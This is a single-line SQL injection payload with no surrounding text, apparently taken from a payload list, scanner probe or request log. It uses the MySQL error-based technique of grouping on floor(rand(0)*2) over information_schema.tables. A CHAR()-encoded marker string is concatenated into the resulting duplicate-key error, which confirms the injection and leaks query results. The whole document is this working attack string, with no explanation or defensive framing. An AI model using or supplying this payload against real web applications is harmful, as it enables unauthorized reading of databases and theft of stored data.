and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(109),CHAR(105),CHAR(119),CHAR(115),CHAR(115),CHAR(116),CHAR(121),CHAR(122)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and